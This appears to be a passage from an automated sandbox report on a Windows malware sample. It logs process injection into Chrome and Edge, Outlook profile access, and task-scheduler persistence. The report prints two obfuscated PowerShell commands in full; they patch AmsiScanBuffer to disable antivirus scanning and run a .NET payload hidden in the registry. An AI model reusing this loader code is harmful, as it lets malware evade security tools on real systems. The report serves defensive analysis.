6116	chrome.exe
6116	chrome.exe
6116	chrome.exe
6116	chrome.exe
6116	chrome.exe
6116	chrome.exe
6116	chrome.exe
6116	chrome.exe
6116	chrome.exe
6116	chrome.exe
6116	chrome.exe
6116	chrome.exe
6116	chrome.exe
6116	chrome.exe
6116	chrome.exe
6116	chrome.exe

Suspicious use of SendNotifyMessage 16 IoCs

pid	Process
6116	chrome.exe
6116	chrome.exe
6116	chrome.exe
6116	chrome.exe
6116	chrome.exe
6116	chrome.exe
6116	chrome.exe
6116	chrome.exe
6116	chrome.exe
6116	chrome.exe
6116	chrome.exe
6116	chrome.exe
6116	chrome.exe
6116	chrome.exe
6116	chrome.exe
6116	chrome.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 5972 wrote to memory of 2640	5972	_3fccfe37eeeb3e2c3c09333f7b963f84a3610cca533a0ab3a9ad6c8beb3bf705.exe	80
PID 2640 wrote to memory of 2444	2640	chrome.exe	81
PID 5972 wrote to memory of 2640	5972	_3fccfe37eeeb3e2c3c09333f7b963f84a3610cca533a0ab3a9ad6c8beb3bf705.exe	80
PID 2640 wrote to memory of 1044	2640	chrome.exe	82
PID 2640 wrote to memory of 1044	2640	chrome.exe	82
PID 2640 wrote to memory of 1808	2640	chrome.exe	83
PID 2640 wrote to memory of 1608	2640	chrome.exe	84
PID 2640 wrote to memory of 1608	2640	chrome.exe	84
PID 2640 wrote to memory of 1648	2640	chrome.exe	86
PID 2640 wrote to memory of 1648	2640	chrome.exe	86
PID 2640 wrote to memory of 1436	2640	chrome.exe	87
PID 2640 wrote to memory of 1436	2640	chrome.exe	87
PID 2640 wrote to memory of 6028	2640	chrome.exe	88
PID 2640 wrote to memory of 6028	2640	chrome.exe	88
PID 2640 wrote to memory of 3960	2640	chrome.exe	90
PID 2640 wrote to memory of 3960	2640	chrome.exe	90
PID 5972 wrote to memory of 4124	5972	_3fccfe37eeeb3e2c3c09333f7b963f84a3610cca533a0ab3a9ad6c8beb3bf705.exe	92
PID 4124 wrote to memory of 5960	4124	msedge.exe	93
PID 5972 wrote to memory of 4124	5972	_3fccfe37eeeb3e2c3c09333f7b963f84a3610cca533a0ab3a9ad6c8beb3bf705.exe	92
PID 4124 wrote to memory of 3172	4124	msedge.exe	95
PID 4124 wrote to memory of 2484	4124	msedge.exe	96
PID 4124 wrote to memory of 2484	4124	msedge.exe	96
PID 4124 wrote to memory of 2484	4124	msedge.exe	96
PID 4124 wrote to memory of 5388	4124	msedge.exe	97
PID 4124 wrote to memory of 5388	4124	msedge.exe	97
PID 4124 wrote to memory of 5048	4124	msedge.exe	98
PID 4124 wrote to memory of 5048	4124	msedge.exe	98
PID 4124 wrote to memory of 5048	4124	msedge.exe	98
PID 4124 wrote to memory of 240	4124	msedge.exe	99
PID 4124 wrote to memory of 240	4124	msedge.exe	99
PID 4124 wrote to memory of 240	4124	msedge.exe	99
PID 5972 wrote to memory of 1676	5972	_3fccfe37eeeb3e2c3c09333f7b963f84a3610cca533a0ab3a9ad6c8beb3bf705.exe	101
PID 1676 wrote to memory of 2080	1676	cmd.exe	103
PID 2080 wrote to memory of 5652	2080	DNSkppu4gp.exe	104
PID 5652 wrote to memory of 5644	5652	Chrome145.exe	107
PID 5644 wrote to memory of 5532	5644	cmd.exe	109
PID 5644 wrote to memory of 2792	5644	cmd.exe	110
PID 5644 wrote to memory of 3864	5644	cmd.exe	111
PID 5644 wrote to memory of 5356	5644	cmd.exe	112
PID 5644 wrote to memory of 3664	5644	cmd.exe	113
PID 5644 wrote to memory of 3676	5644	cmd.exe	114
PID 5644 wrote to memory of 5204	5644	cmd.exe	115
PID 5644 wrote to memory of 5384	5644	cmd.exe	116
PID 5644 wrote to memory of 1460	5644	cmd.exe	117
PID 5644 wrote to memory of 1548	5644	cmd.exe	118
PID 5644 wrote to memory of 4364	5644	cmd.exe	119
PID 5644 wrote to memory of 3692	5644	cmd.exe	120
PID 5644 wrote to memory of 412	5644	cmd.exe	121
PID 5644 wrote to memory of 2796	5644	cmd.exe	122
PID 5644 wrote to memory of 3052	5644	cmd.exe	123
PID 5644 wrote to memory of 5472	5644	cmd.exe	124
PID 5644 wrote to memory of 1212	5644	cmd.exe	125
PID 5644 wrote to memory of 5720	5644	cmd.exe	126
PID 5644 wrote to memory of 5400	5644	cmd.exe	127
PID 5644 wrote to memory of 5560	5644	cmd.exe	128
PID 5644 wrote to memory of 3636	5644	cmd.exe	129
PID 5644 wrote to memory of 576	5644	cmd.exe	130
PID 5644 wrote to memory of 4492	5644	cmd.exe	131
PID 5644 wrote to memory of 4064	5644	cmd.exe	132
PID 5644 wrote to memory of 4324	5644	cmd.exe	133
PID 5644 wrote to memory of 3872	5644	cmd.exe	134
PID 5644 wrote to memory of 5240	5644	cmd.exe	135
PID 5644 wrote to memory of 4416	5644	cmd.exe	136
PID 5644 wrote to memory of 5540	5644	cmd.exe	137

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-600123060-2148212387-2211176695-1000\Software\Microsoft\Office\14.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	_3fccfe37eeeb3e2c3c09333f7b963f84a3610cca533a0ab3a9ad6c8beb3bf705.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-600123060-2148212387-2211176695-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	_3fccfe37eeeb3e2c3c09333f7b963f84a3610cca533a0ab3a9ad6c8beb3bf705.exe

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:632
- C:\Windows\system32\dwm.exe
  "dwm.exe"
  2⤵
  PID:536
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{995d6c4f-607c-4155-9917-a79554dd3a5a}
  2⤵
  PID:6308
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{82418061-affa-46a7-bc49-aa43e1b2678b}
  2⤵
  PID:3900

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:684

C:\Windows\System32\WUDFHost.exe
"C:\Windows\System32\WUDFHost.exe" -HostGUID:{193a1820-d9ac-4997-8c55-be817523f6aa} -IoEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-e0069c44-2264-46fd-b076-37a6534fe856 -SystemEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-bf6c5920-bd76-4264-b01d-1822a7a83bd5 -IoCancelEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-117f538f-8484-4ab4-b9f0-9aeba4e7fe80 -NonStateChangingEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-0c39ab9f-38ac-4016-b2bd-341361a4029c -LifetimeId:c1d5ca00-0f3d-4b49-94c5-32aab93fe4dd -DeviceGroupId:WudfDefaultDevicePool -HostArg:0
1⤵
PID:900

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:400

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:1032

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:1076

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1136

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1140

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
PID:1284
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:GpRiQCbnFxkU{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$HsCLmESybamiYI,[Parameter(Position=1)][Type]$zfmdVFDKfo)$NcyzgSPzXyS=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('R'+'e'+'f'+[Char](108)+'e'+[Char](99)+'t'+'e'+''+'d'+''+'D'+''+'e'+''+[Char](108)+''+'e'+''+[Char](103)+''+[Char](97)+''+[Char](116)+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('I'+'n'+''+'M'+''+[Char](101)+''+[Char](109)+'o'+[Char](114)+''+'y'+''+[Char](77)+''+[Char](111)+''+[Char](100)+''+[Char](117)+'l'+'e'+'',$False).DefineType(''+'M'+'yDe'+'l'+''+'e'+''+'g'+''+[Char](97)+'t'+'e'+''+[Char](84)+''+[Char](121)+'p'+'e'+'',''+[Char](67)+''+[Char](108)+''+[Char](97)+''+[Char](115)+'s'+[Char](44)+''+'P'+''+[Char](117)+''+[Char](98)+''+'l'+'i'+[Char](99)+''+','+'S'+'e'+''+'a'+''+'l'+''+[Char](101)+''+[Char](100)+''+[Char](44)+''+[Char](65)+'n'+[Char](115)+'i'+[Char](67)+'l'+'a'+'s'+[Char](115)+''+[Char](44)+'A'+[Char](117)+''+[Char](116)+''+'o'+''+[Char](67)+''+[Char](108)+''+[Char](97)+''+[Char](115)+''+[Char](115)+'',[MulticastDelegate]);$NcyzgSPzXyS.DefineConstructor(''+[Char](82)+''+[Char](84)+'S'+[Char](112)+'e'+[Char](99)+'i'+[Char](97)+''+[Char](108)+'N'+[Char](97)+''+[Char](109)+''+'e'+''+','+''+'H'+''+[Char](105)+'d'+'e'+''+[Char](66)+''+'y'+'S'+'i'+''+[Char](103)+''+','+''+'P'+''+[Char](117)+''+[Char](98)+''+[Char](108)+''+[Char](105)+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$HsCLmESybamiYI).SetImplementationFlags(''+'R'+''+'u'+''+'n'+'t'+[Char](105)+''+[Char](109)+'e'+[Char](44)+''+[Char](77)+'a'+'n'+''+[Char](97)+''+[Char](103)+''+[Char](101)+'d');$NcyzgSPzXyS.DefineMethod(''+[Char](73)+''+[Char](110)+''+[Char](118)+'o'+[Char](107)+''+'e'+'','P'+'u'+''+'b'+''+[Char](108)+''+[Char](105)+''+'c'+''+[Char](44)+'H'+[Char](105)+''+[Char](100)+''+'e'+''+[Char](66)+'ySi'+[Char](103)+''+[Char](44)+''+[Char](78)+'ew'+[Char](83)+'l'+[Char](111)+''+[Char](116)+''+[Char](44)+''+'V'+''+[Char](105)+''+'r'+'t'+'u'+'a'+[Char](108)+'',$zfmdVFDKfo,$HsCLmESybamiYI).SetImplementationFlags(''+'R'+''+'u'+''+'n'+''+[Char](116)+''+'i'+''+'m'+''+[Char](101)+''+','+''+[Char](77)+''+'a'+''+[Char](110)+'ag'+[Char](101)+''+[Char](100)+'');Write-Output $NcyzgSPzXyS.CreateType();}$vcqtypxYXTNaU=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+'y'+''+'s'+''+[Char](116)+''+[Char](101)+''+'m'+''+[Char](46)+''+[Char](100)+''+[Char](108)+'l')}).GetType('M'+'i'+''+[Char](99)+''+[Char](114)+''+'o'+''+[Char](115)+''+[Char](111)+''+[Char](102)+'t'+'.'+'W'+[Char](105)+''+'n'+''+[Char](51)+''+[Char](50)+''+[Char](46)+''+[Char](85)+''+[Char](110)+''+[Char](115)+''+[Char](97)+''+[Char](102)+'e'+'N'+'ati'+'v'+'eMe'+'t'+''+'h'+'o'+[Char](100)+''+'s'+'');$FGfvwNwSkqAiQk=$vcqtypxYXTNaU.GetMethod('G'+[Char](101)+''+[Char](116)+''+[Char](80)+''+'r'+'o'+'c'+''+'A'+''+'d'+'dres'+[Char](115)+'',[Reflection.BindingFlags]('P'+[Char](117)+''+[Char](98)+'li'+[Char](99)+''+[Char](44)+''+'S'+''+[Char](116)+''+[Char](97)+''+'t'+'i'+'c'+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$cJlzYimkllcMypTUagt=GpRiQCbnFxkU @([String])([IntPtr]);$rzLpQucoImjBwMdqKUEWeH=GpRiQCbnFxkU @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$QxWlagnHqIG=$vcqtypxYXTNaU.GetMethod(''+'G'+''+[Char](101)+''+'t'+''+'M'+''+[Char](111)+''+[Char](100)+''+[Char](117)+'l'+[Char](101)+'Ha'+[Char](110)+''+'d'+''+[Char](108)+''+[Char](101)+'').Invoke($Null,@([Object]('k'+[Char](101)+''+[Char](114)+''+[Char](110)+''+'e'+'l3'+[Char](50)+'.'+[Char](100)+''+'l'+''+[Char](108)+'')));$MBbhsTtmpAQvQY=$FGfvwNwSkqAiQk.Invoke($Null,@([Object]$QxWlagnHqIG,[Object](''+[Char](76)+''+'o'+''+'a'+''+[Char](100)+'Li'+'b'+''+[Char](114)+''+'a'+''+'r'+''+'y'+''+'A'+'')));$JTJvgMoDTSkTwHotR=$FGfvwNwSkqAiQk.Invoke($Null,@([Object]$QxWlagnHqIG,[Object](''+[Char](86)+''+'i'+''+'r'+''+[Char](116)+''+'u'+''+[Char](97)+'l'+[Char](80)+''+'r'+''+[Char](111)+''+'t'+''+[Char](101)+''+[Char](99)+''+'t'+'')));$BYRFUsi=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($MBbhsTtmpAQvQY,$cJlzYimkllcMypTUagt).Invoke('a'+[Char](109)+''+'s'+''+'i'+'.'+[Char](100)+''+[Char](108)+'l');$AlPyqqgZLgxKsriVX=$FGfvwNwSkqAiQk.Invoke($Null,@([Object]$BYRFUsi,[Object](''+[Char](65)+''+[Char](109)+''+[Char](115)+''+[Char](105)+''+'S'+''+[Char](99)+''+[Char](97)+'n'+[Char](66)+''+[Char](117)+''+[Char](102)+'f'+'e'+'r')));$OCOtcvqBUQ=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($JTJvgMoDTSkTwHotR,$rzLpQucoImjBwMdqKUEWeH).Invoke($AlPyqqgZLgxKsriVX,[uint32]8,4,[ref]$OCOtcvqBUQ);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$AlPyqqgZLgxKsriVX,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($JTJvgMoDTSkTwHotR,$rzLpQucoImjBwMdqKUEWeH).Invoke($AlPyqqgZLgxKsriVX,[uint32]8,0x20,[ref]$OCOtcvqBUQ);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('S'+[Char](79)+''+[Char](70)+''+[Char](84)+''+[Char](87)+''+[Char](65)+'RE').GetValue('di'+[Char](97)+''+[Char](108)+''+[Char](101)+''+[Char](114)+''+'s'+'t'+[Char](97)+''+[Char](103)+''+'e'+'r')).EntryPoint.Invoke($Null,$Null)"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Suspicious use of SetThreadContext
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:5688
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:3012
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:UHRIIfUkyIaq{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$UaHzoxyJxgFuSp,[Parameter(Position=1)][Type]$yTIDkUQppk)$RpRUNPLDLvU=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('R'+'e'+''+[Char](102)+''+'l'+''+[Char](101)+''+'c'+'t'+[Char](101)+'dD'+[Char](101)+''+'l'+''+[Char](101)+'g'+[Char](97)+''+[Char](116)+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+[Char](110)+''+[Char](77)+''+[Char](101)+''+'m'+''+'o'+''+[Char](114)+''+[Char](121)+''+[Char](77)+'odu'+[Char](108)+''+[Char](101)+'',$False).DefineType(''+[Char](77)+''+'y'+'D'+[Char](101)+''+[Char](108)+'e'+'g'+''+'a'+''+'t'+''+'e'+''+[Char](84)+''+[Char](121)+'p'+'e'+'','Cl'+'a'+''+'s'+''+'s'+''+','+''+'P'+'ub'+[Char](108)+''+[Char](105)+''+'c'+''+[Char](44)+''+'S'+''+[Char](101)+''+[Char](97)+'l'+[Char](101)+''+[Char](100)+''+[Char](44)+''+[Char](65)+''+[Char](110)+'s'+'i'+'C'+[Char](108)+''+[Char](97)+'s'+[Char](115)+''+[Char](44)+''+[Char](65)+''+[Char](117)+'t'+[Char](111)+''+[Char](67)+''+'l'+''+[Char](97)+''+[Char](115)+''+[Char](115)+'',[MulticastDelegate]);$RpRUNPLDLvU.DefineConstructor(''+'R'+''+'T'+''+[Char](83)+'pe'+[Char](99)+''+[Char](105)+''+[Char](97)+''+[Char](108)+''+'N'+''+[Char](97)+''+[Char](109)+''+[Char](101)+''+[Char](44)+'H'+[Char](105)+''+'d'+''+'e'+'B'+[Char](121)+'S'+[Char](105)+''+'g'+''+[Char](44)+''+[Char](80)+''+'u'+'b'+'l'+''+[Char](105)+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$UaHzoxyJxgFuSp).SetImplementationFlags('R'+[Char](117)+'nt'+[Char](105)+'m'+[Char](101)+''+','+'M'+[Char](97)+'n'+[Char](97)+''+[Char](103)+'e'+[Char](100)+'');$RpRUNPLDLvU.DefineMethod('I'+[Char](110)+''+[Char](118)+''+'o'+''+[Char](107)+''+[Char](101)+'',''+[Char](80)+'u'+[Char](98)+'l'+'i'+'c'+[Char](44)+''+'H'+''+'i'+'d'+'e'+''+[Char](66)+''+'y'+'S'+[Char](105)+''+'g'+''+[Char](44)+''+[Char](78)+''+'e'+''+'w'+'Sl'+'o'+''+[Char](116)+''+[Char](44)+'Virt'+'u'+''+[Char](97)+'l',$yTIDkUQppk,$UaHzoxyJxgFuSp).SetImplementationFlags(''+'R'+'u'+[Char](110)+''+[Char](116)+''+'i'+''+[Char](109)+''+[Char](101)+''+[Char](44)+''+[Char](77)+''+[Char](97)+''+[Char](110)+''+'a'+''+[Char](103)+''+'e'+''+[Char](100)+'');Write-Output $RpRUNPLDLvU.CreateType();}$vrwAeNdzVzzXx=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+'S'+''+[Char](121)+'s'+'t'+''+[Char](101)+''+'m'+''+[Char](46)+'d'+'l'+'l')}).GetType(''+'M'+''+'i'+'c'+[Char](114)+''+[Char](111)+''+[Char](115)+''+'o'+''+[Char](102)+''+[Char](116)+''+[Char](46)+''+[Char](87)+''+'i'+'n32'+[Char](46)+''+[Char](85)+'n'+'s'+''+[Char](97)+''+[Char](102)+'e'+[Char](78)+''+'a'+''+'t'+''+[Char](105)+''+[Char](118)+''+[Char](101)+''+[Char](77)+''+'e'+''+[Char](116)+'h'+[Char](111)+'d'+[Char](115)+'');$xUGjzljTfSUhrs=$vrwAeNdzVzzXx.GetMethod(''+'G'+''+[Char](101)+'tPro'+[Char](99)+''+'A'+''+[Char](100)+''+[Char](100)+''+[Char](114)+''+[Char](101)+''+[Char](115)+''+[Char](115)+'',[Reflection.BindingFlags](''+[Char](80)+''+[Char](117)+''+'b'+''+'l'+''+[Char](105)+'c,S'+'t'+''+[Char](97)+''+'t'+''+'i'+''+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$hdsUYgDaFbzBvWVKSCV=UHRIIfUkyIaq @([String])([IntPtr]);$sVSYKmFYEUMeJQTxiBPekU=UHRIIfUkyIaq @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$NGvSIYyIRNw=$vrwAeNdzVzzXx.GetMethod(''+[Char](71)+''+[Char](101)+''+[Char](116)+''+'M'+'o'+[Char](100)+''+[Char](117)+''+[Char](108)+'e'+'H'+''+'a'+''+[Char](110)+''+[Char](100)+''+[Char](108)+''+[Char](101)+'').Invoke($Null,@([Object](''+'k'+'e'+[Char](114)+''+[Char](110)+'e'+'l'+''+'3'+''+[Char](50)+''+'.'+'d'+[Char](108)+''+'l'+'')));$DMqMvmerePTvxU=$xUGjzljTfSUhrs.Invoke($Null,@([Object]$NGvSIYyIRNw,[Object](''+[Char](76)+''+'o'+''+'a'+''+[Char](100)+''+[Char](76)+''+[Char](105)+''+[Char](98)+''+[Char](114)+''+'a'+''+[Char](114)+''+'y'+''+'A'+'')));$BFIMCOVrogmWPkIpU=$xUGjzljTfSUhrs.Invoke($Null,@([Object]$NGvSIYyIRNw,[Object](''+[Char](86)+''+[Char](105)+'r'+[Char](116)+''+'u'+'al'+[Char](80)+'ro'+[Char](116)+'ec'+'t'+'')));$RFZgwXw=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DMqMvmerePTvxU,$hdsUYgDaFbzBvWVKSCV).Invoke(''+'a'+''+[Char](109)+'s'+[Char](105)+'.'+'d'+'l'+[Char](108)+'');$qLExdPoaqzRtOIZKA=$xUGjzljTfSUhrs.Invoke($Null,@([Object]$RFZgwXw,[Object](''+[Char](65)+''+[Char](109)+'siSc'+[Char](97)+''+'n'+''+[Char](66)+''+[Char](117)+'f'+[Char](102)+''+[Char](101)+''+[Char](114)+'')));$daJnUTxIWJ=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($BFIMCOVrogmWPkIpU,$sVSYKmFYEUMeJQTxiBPekU).Invoke($qLExdPoaqzRtOIZKA,[uint32]8,4,[ref]$daJnUTxIWJ);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$qLExdPoaqzRtOIZKA,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($BFIMCOVrogmWPkIpU,$sVSYKmFYEUMeJQTxiBPekU).Invoke($qLExdPoaqzRtOIZKA,[uint32]8,0x20,[ref]$daJnUTxIWJ);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+'S'+''+'O'+''+[Char](70)+''+[Char](84)+'W'+[Char](65)+''+[Char](82)+''+[Char](69)+'').GetValue(''+[Char](100)+''+[Char](105)+'a'+[Char](108)+''+[Char](101)+'r'+[Char](115)+''+'t'+''+'a'+''+'g'+''+'e'+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Suspicious use of SetThreadContext
  - Modifies data under HKEY_USERS
  PID:3520
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5728

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1296

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s DisplayEnhancementService
1⤵
PID:1336

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1348

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1400

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netprofm -p -s netprofm
1⤵
PID:1420

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1508
- C:\Windows\system32\sihost.exe
  sihost.exe
  2⤵
  PID:2096

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1764

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1780

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p
1⤵
PID:1836

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1884

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1920

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1988

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:2040

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1892

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:2056

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:2164

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:2188

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:2252

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2392

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2496

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2696

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p
1⤵
PID:2712

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2752

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
PID:2800

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2820

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
PID:2844

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2884

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:2424

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3112
- C:\Users\Admin\AppData\Local\Temp\_3fccfe37eeeb3e2c3c09333f7b963f84a3610cca533a0ab3a9ad6c8beb3bf705.exe
  "C:\Users\Admin\AppData\Local\Temp\_3fccfe37eeeb3e2c3c09333f7b963f84a3610cca533a0ab3a9ad6c8beb3bf705.exe"
  2⤵
  - Accesses Microsoft Outlook profiles
  - Checks processor information in registry
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  - outlook_office_path
  - outlook_win_path
  PID:5972
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --profile-directory="Default"
    3⤵
    - Drops file in Windows directory
    - Enumerates system info in registry
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of WriteProcessMemory
    PID:2640
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffff0e9c728,0x7ffff0e9c734,0x7ffff0e9c740
      4⤵
      PID:2444
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1712,i,11140232442731570395,1683894931379303893,262144 --field-trial-handle=1960,i,300154007752379034,14594848155647821535,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=1956 /prefetch:2
      4⤵
      PID:1044
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=1516,i,13520778844899035305,2628953584040226380,524288 --field-trial-handle=1960,i,300154007752379034,14594848155647821535,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=2332 /prefetch:11
      4⤵
      System Time Discovery
      PID:1808
